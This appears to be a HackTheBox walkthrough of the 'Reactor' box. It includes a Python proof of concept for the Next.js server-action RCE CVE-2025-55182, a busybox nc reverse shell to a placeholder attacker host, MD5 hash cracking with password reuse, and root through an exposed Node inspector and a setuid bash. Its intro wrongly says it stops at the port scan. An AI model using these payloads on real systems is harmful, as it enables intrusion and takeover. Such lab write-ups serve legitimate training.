Skip to content

Reactor Writeup - HackTheBox

Easy Linux

Created May 23, 2026 • Last updated October 11, 2026 • 4 min read

Joshua

HackIndex Creator

Reactor is a Linux box whose entire external surface is a single Next.js application. It is still active, so this page opens with the port scan and stops there.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -p22,3000 $TARGET_IP -oA nmap/nmap
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Next.js
| fingerprint-strings:
|   X-Powered-By: Next.js
|   x-nextjs-cache: HIT
|_  Content-Type: text/html; charset=utf-8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
-sCV Run the default script set and probe service versions.
-p22,3000 Scan the two exposed ports.

Domains

The app is reached directly by IP on port 3000, with no virtual host in the scan. The machine name is reactor.htb.

Only SSH and a web app on 3000. The X-Powered-By: Next.js header and the _next asset paths are the whole story: this is a Next.js server, and its version puts it in range for React2Shell.

Vulnerability Discovery

React2Shell

CVE-2025-55182 is an unauthenticated RCE in Next.js server actions. The React Server Components payload is deserialized in a way that lets a crafted chunk reach a prototype pollution gadget and, through it, the Function constructor, so an attacker controlled string runs as JavaScript on the server. Assetnote's scanner confirms the target is affected before any exploitation.

┌──(kali㉿kali)-[~]
└─$ python3 scanner.py -u http://$TARGET_IP:3000
[*] Loaded 1 host(s) to scan
[*] Using RCE PoC check

[VULNERABLE] http://$TARGET_IP:3000 - Status: 303

  Vulnerable: 1
Explain command
-u http://$TARGET_IP:3000 Target Next.js server to test.

Exploitation

From gadget to shell

The public proof of concept sends the crafted server action chunk. The gadget walks __proto__ to then, then constructor:constructor to reach Function, and the _prefix field carries the JavaScript to run, a child_process.execSync call with the command of choice.

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {"get": "$1:constructor:constructor"},
    },
}
files = {"0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"')}
requests.post(BASE_URL, files=files, headers={"Next-Action": "x"}, timeout=10)

Running it with an id command proves execution by returning the result in the error digest.

┌──(kali㉿kali)-[~]
└─$ python3 poc.py http://$TARGET_IP:3000 'id'
500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}

Code runs as the node user. Swapping the command for a reverse shell one liner and catching it turns it interactive.

┌──(kali㉿kali)-[~]
└─$ python3 poc.py http://$TARGET_IP:3000 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 48378
python3 -c 'import pty;pty.spawn("/bin/bash")'
node@reactor:/opt/reactor-app$ whoami
node
Explain command
-l Listen for an incoming connection instead of dialing out.
-v Verbose output so the inbound connection is visible.
-n Skip DNS resolution on the connecting address.
-p $ATTACKER_PORT Local port the reverse shell connects back to.

Lateral Movement

The application database

The app directory holds a SQLite database next to the source, and /etc/passwd shows one real interactive user besides root, engineer. The database is where a reused credential is most likely to sit.

node@reactor ~ $ sqlite3 reactor.db 'select username, password from users;'
admin|$ADMINS_HASH
engineer|$ENGINEERS_HASH

Two MD5 hashes. Feeding them to hashcat against a wordlist cracks the engineer entry.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
$ENGINEERS_HASH:$ENGINEERS_PASSWORD
Explain command
-m 0 Hash mode for raw MD5.

The password is reused for the system account, so SSH takes it directly.

┌──(kali㉿kali)-[~]
└─$ ssh engineer@$TARGET_IP
engineer@reactor:~$ whoami
engineer

That is the user context. sudo -l is denied and asks for a password that leads nowhere, so escalation has to come from something running on the box.

Privilege Escalation

A root debugger port

engineer@reactor ~ $ ps aux | grep -v '\[' | grep root
root  1381  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
<snip>

A Node process runs as root with --inspect=127.0.0.1:9229. The inspector is the V8 debug protocol, and anything that connects to it can evaluate JavaScript inside that root process. It listens on loopback, which is fine because the SSH session is already on the host. node inspect attaches to it.

engineer@reactor ~ $ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
'uid=0(root) gid=0(root) groups=0(root)\n'

Plain require is not defined in the debug REPL, but process.mainModule.require reaches child_process the same way the web exploit did. Running it as root is enough to mark a bash copy setuid, or read the flag directly.

engineer@reactor ~ $ node inspect 127.0.0.1:9229
debug> exec("process.mainModule.require('child_process').execSync('chmod u+s /bin/bash').toString()")
engineer@reactor ~ $ /bin/bash -p
engineer@reactor ~ $ id
uid=1000(engineer) gid=1000(engineer) euid=0(root) groups=1000(engineer)
Explain command
-p Keep the effective root id instead of dropping it on startup.

Root through the setuid bash. User via engineer and root via the exposed inspector are both covered.

References